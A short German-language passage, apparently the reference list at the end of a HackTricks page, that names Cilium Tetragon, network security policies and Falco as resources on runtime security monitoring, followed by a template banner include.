- Cilium Tetragon - eBPF-basierte Sicherheits-Observability und Laufzeitdurchsetzung
- Network-Sicherheitsrichtlinien
- Falco - Runtime-Sicherheitsüberwachung & Erkennung
{{#include ../../../banners/hacktricks-training.md}}